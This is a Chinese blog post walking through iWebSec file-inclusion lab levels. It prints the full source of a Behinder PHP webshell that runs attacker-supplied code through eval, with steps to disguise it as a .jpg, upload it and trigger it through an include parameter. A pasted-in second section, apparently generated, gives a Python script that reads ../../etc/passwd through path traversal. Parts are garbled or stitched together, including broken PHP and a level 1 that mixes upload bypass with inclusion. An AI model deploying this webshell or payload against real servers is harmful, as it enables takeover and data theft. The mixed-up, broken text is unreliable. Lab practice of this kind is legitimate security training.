文件包含漏洞第一关

一、什么是文件包含漏洞

1.文件包含漏洞概述
和SQL注入等攻击方式一样,文件包含漏洞也是一种注入型漏洞,其本质就是输入一段用户能够控制的脚本或者代码,并让服务端执行。 
 
什么叫包含呢?以PHP为例,我们常常把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程叫做包含。
 
有时候由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。
 
在通过PHP的相应函数(比如imnclude0)引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。
 
以PHP为例,常用的文件包含函数有以下四种
include(),require(),include_once(),require_once()
区别如下:
 
require():找不到被包含的文件会产生致命错误,并停止脚本运行
include():找不到被包含的文件只会产生警告,脚本继续执行
require_once()与require()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
include_once()与include()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含

第一关:

这关很简单 要么在浏览器设置里面禁用js前端 

要么把写好的pgp代码修改为.jpg .png这些图片后缀即可

冰蝎为例:

创建一个shell.php

php代码如下

<?php
@error_reporting(0);
session_start();
    $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
	$_SESSION['k']=$key;
	session_write_close();
	$post=file_get_contents("php://input");
	if(!extension_loaded('openssl'))
	{
		$t="base64_"."decode";
		$post=$t($post."");
		
		for($i=0;$i<strlen($post);$i++) {
    			 $post[$i] = $post[$i]^$key[$i+1&15]; 
    			}
	}
	else
	{
		$post=openssl_decrypt($post, "AES128", $key);
	}
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
	class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
	@eval($_POST['a']);
    @eval($_POST('Alan'));
?>

然后把他改为你好.jpg

找到上传点

上传即可

然后复制URL链接

127.0.0.1/inculde.php?filename=你好.jpg

弹出此窗口成功

### iWebSec 文件包含漏洞第二关解决方案 #### 背景介绍 iWebSec 是一个用于学习 Web 安全的平台,提供了多种类型的漏洞练习环境。文件包含漏洞是指攻击者能够通过特定参数控制服务器端加载并执行任意文件的内容。 #### 解决方案概述 对于 iWebSec 文件包含漏洞第二关,目标通常是利用 PHP 文件包含函数(如 `include()` 或 `require()`),并通过 URL 参数传递恶意路径来实现远程文件包含或本地文件包含。 #### 实现方法 为了成功完成此挑战,可以尝试以下几种方式: - **URL 参数注入** 如果应用程序允许用户输入作为文件路径的一部分,则可以通过构造特殊的 URL 请求来进行攻击。例如,在存在漏洞的应用程序中,`?page=filename.php` 可能会被直接解释为要包含的文件名[^1]。 - **绕过黑名单过滤** 当应用对传入的数据进行了简单字符替换或者移除某些危险字符串时,可能仍然能找到办法绕过这些防护措施。比如使用编码技术或者其他变种形式来表示敏感字符。 - **利用已知脆弱点** 基于之前提到的 Apache 对多后缀文件处理机制[^2],如果服务端配置不当,可能会导致即使上传了一个看似无害但实际上含有可执行脚本代码的图片或其他类型文件也能被执行。 具体操作如下所示: ```bash cd vulhub/iwebsec/file_inclusion_level_2/ docker-compose up -d ``` 访问启动后的容器地址,并根据提示调整请求中的查询参数以触发文件包含行为。通常情况下,会涉及到修改页面请求链接里的某个变量值指向一个特殊设计好的文件位置。 #### 示例代码片段 下面是一个简单的 Python 脚本来模拟发送带有精心构造参数的 HTTP GET 请求给可能存在 LFI (Local File Inclusion) 漏洞的服务接口。 ```python import requests url = "http://target-site.com/vulnerable_page" params = {'file': '../../etc/passwd'} response = requests.get(url, params=params) print(response.text) ```
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值